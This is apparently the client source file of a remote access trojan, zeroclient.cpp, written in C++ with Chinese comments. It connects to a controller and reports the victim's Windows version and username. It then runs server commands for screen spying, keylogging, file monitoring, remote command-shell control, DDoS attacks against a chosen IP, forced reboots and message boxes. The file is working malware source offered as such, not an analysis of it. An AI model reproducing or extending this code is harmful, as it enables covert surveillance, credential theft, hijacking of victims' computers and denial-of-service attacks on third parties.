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zeroclient.cpp
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314 lines (267 loc) · 8.06 KB
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#include "zeroclient.h"
ZeroClient::ZeroClient()
{
}
void ZeroClient::connectTo(std::string domain, int port)
{
// 连接到服务端
if (!mSock.connectTo(domain, port)) {
return;
}
// 发送登入命令
if (!sendLogin()) {
return;
}
// 死循环，不断从服务端接收数据
const int packetSize = 800;
char szData[packetSize];
int ret;
while (1) {
ret = mSock.recvData(szData, packetSize);
// 出现错误
if (ret == SOCKET_ERROR || ret == 0) {
// 清空缓冲区
mBuf.clear();
break;
}
// 把数据加入到缓冲区
//
//对数据进行解密
//
addDataToBuffer(szData, ret);
}
}
std::string ZeroClient::getUserName()
{
char szUser[MAX_PATH];
int size = MAX_PATH;
GetUserNameA(szUser, (DWORD*)&size);
return std::string(szUser);
}
std::string ZeroClient::getSystemModel()
{
SYSTEM_INFO info; //用SYSTEM_INFO结构判断64位AMD处理器
GetSystemInfo(&info); //调用GetSystemInfo函数填充结构
OSVERSIONINFOEX os;
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
std::string osname = "unknown OperatingSystem.";
if(GetVersionEx((OSVERSIONINFO *)&os))
{
//下面根据版本信息判断操作系统名称
switch(os.dwMajorVersion)//判断主版本号
{
case 4:
switch(os.dwMinorVersion)//判断次版本号
{
case 0:
if(os.dwPlatformId==VER_PLATFORM_WIN32_NT)
osname = "Microsoft Windows NT 4.0"; //1996年7月发布
else if(os.dwPlatformId==VER_PLATFORM_WIN32_WINDOWS)
osname = "Microsoft Windows 95";
break;
case 10:
osname = "Microsoft Windows 98";
break;
case 90:
osname = "Microsoft Windows Me";
break;
}
break;
case 5:
switch(os.dwMinorVersion) //再比较dwMinorVersion的值
{
case 0:
osname = "Microsoft Windows 2000";//1999年12月发布
break;
case 1:
osname = "Microsoft Windows XP";//2001年8月发布
break;
case 2:
if(os.wProductType==VER_NT_WORKSTATION
&& info.wProcessorArchitecture==PROCESSOR_ARCHITECTURE_AMD64)
{
osname = "Microsoft Windows XP Professional x64 Edition";
}
else if(GetSystemMetrics(SM_SERVERR2)==0)
osname = "Microsoft Windows Server 2003";//2003年3月发布
else if(GetSystemMetrics(SM_SERVERR2)!=0)
osname = "Microsoft Windows Server 2003 R2";
break;
}
break;
case 6:
switch(os.dwMinorVersion)
{
case 0:
if(os.wProductType == VER_NT_WORKSTATION)
osname = "Microsoft Windows Vista";
else
osname = "Microsoft Windows Server 2008";//服务器版本
break;
case 1:
if(os.wProductType == VER_NT_WORKSTATION)
osname = "Microsoft Windows 7";
else
osname = "Microsoft Windows Server 2008 R2";
break;
case 2:
if(os.wProductType == VER_NT_WORKSTATION)
osname = "Microsoft Windows 8";
else
osname = "Microsoft Windows Server 2012";
break;
case 3:
if(os.wProductType == VER_NT_WORKSTATION)
osname = "Microsoft Windows 8.1";
else
osname = "Microsoft Windows Server 2012 R2";
break;
}
break;
case 10:
switch(os.dwMinorVersion)
{
case 0:
if(os.wProductType == VER_NT_WORKSTATION)
osname = "Microsoft Windows 10";
else
osname = "Microsoft Windows Server 2016 Technical Preview";//服务器版本
break;
}
break;
}
}
return osname;
}
bool ZeroClient::sendLogin()
{
// 写好登入信息，然后发送给服务端
std::string data;
data.append(CmdLogin+CmdSplit);
data.append("SYSTEM"+CmdSplit+getSystemModel()+CmdSplit);
data.append("USER_NAME"+CmdSplit+getUserName());
data.append(CmdEnd);
return mSock.sendData(data.data(), data.size());
}
void ZeroClient::addDataToBuffer(char *data, int size)
{
//加入缓冲区
mBuf.append(data,size);
// 把数据转换成指令模式
int endIndex;
while ((endIndex = mBuf.find(CmdEnd)) >= 0) {
std::string line = mBuf.substr(0,endIndex);
mBuf.erase(0, endIndex+CmdEnd.length());
// 获取指令
int firstSplit = line.find(CmdSplit);
std::string cmd = line.substr(0, firstSplit);
line.erase(0, firstSplit+CmdSplit.length());
// 处理指令
processCmd(cmd, line);
}
}
//cmd:命令 data:附带数据
void ZeroClient::processCmd(std::string &cmd, std::string &data)
{
std::map<std::string, std::string> args = parseArgs(data);
// 消息框命令
if (cmd == CmdSendMessage) {
doSendMessage(args);
return;
}
// 重新开机命令
if (cmd == CmdReboot) {
doReboot(args);
return;
}
// 退出本程序命令
if (cmd == CmdQuit) {
doQuit(args);
return;
}
// 屏幕监控命令
if (cmd == CmdScreenSpy) {
doScreenSpy(args);
return;
}
// 键盘监控命令
if (cmd == CmdKeyboardSpy) {
doKeyboardSpy(args);
return;
}
// 文件监控命令
if (cmd == CmdFileSpy) {
doFileSpy(args);
return;
}
// 命令行控制
if (cmd == CmdCmdSpy) {
doCmdSpy(args);
return;
}
// DDOS控制
if (cmd == CmdDdosSpy) {
doDdosSpy(args);
return;
}
}
std::map<std::string, std::string> ZeroClient::parseArgs(std::string &data)
{
// 字符串分割成列表
std::vector<std::string> v;
std::string::size_type pos1, pos2;
pos2 = data.find(CmdSplit);
pos1 = 0;
while(std::string::npos != pos2) {
v.push_back(data.substr(pos1, pos2-pos1));
pos1 = pos2 + CmdSplit.size();
pos2 = data.find(CmdSplit, pos1);
}
if(pos1 != data.length()) v.push_back(data.substr(pos1));
// 解析参数
std::map<std::string, std::string> args;
for (int i=0; i<(int)v.size()-1; i+=2) {
args[v.at(i)] = v.at(i+1);
}
return args;
}
void ZeroClient::doScreenSpy(std::map<std::string, std::string> &args)
{
// 开始监控屏幕
ScreenSpy::startByNewThread(mSock.mIp, atoi(args["PORT"].data()));
}
void ZeroClient::doKeyboardSpy(std::map<std::string, std::string> &args)
{
// 开始键盘监控
KeyboardSpy::startKeyboardSpy(mSock.mIp, atoi(args["PORT"].data()));
}
void ZeroClient::doFileSpy(std::map<std::string, std::string> &args)
{
// 开始文件监控
FileSpy::startByNewThread(mSock.mIp, atoi(args["PORT"].data()));
}
void ZeroClient::doCmdSpy(std::map<std::string, std::string> &args)
{
// 开始Cmd命令行控制
CmdSpy::startByNewThread(mSock.mIp, atoi(args["PORT"].data()));
}
void ZeroClient::doDdosSpy(std::map<std::string, std::string> &args)
{
// 开始DDOS攻击
DdosSpy::startByNewThread(args["IP"].data(), atoi(args["PORT"].data()));
}
void ZeroClient::doSendMessage(std::map<std::string, std::string> &args)
{
// 弹出窗口信息
MessageBoxA(NULL, args["TEXT"].data(), "Message", MB_OK);
}
void ZeroClient::doReboot(std::map<std::string, std::string> &)
{
// 重启电脑
system("shutdown -r -t 1");
}
void ZeroClient::doQuit(std::map<std::string, std::string> &)
{
// 退出本程序
ExitProcess((UINT)NULL);
}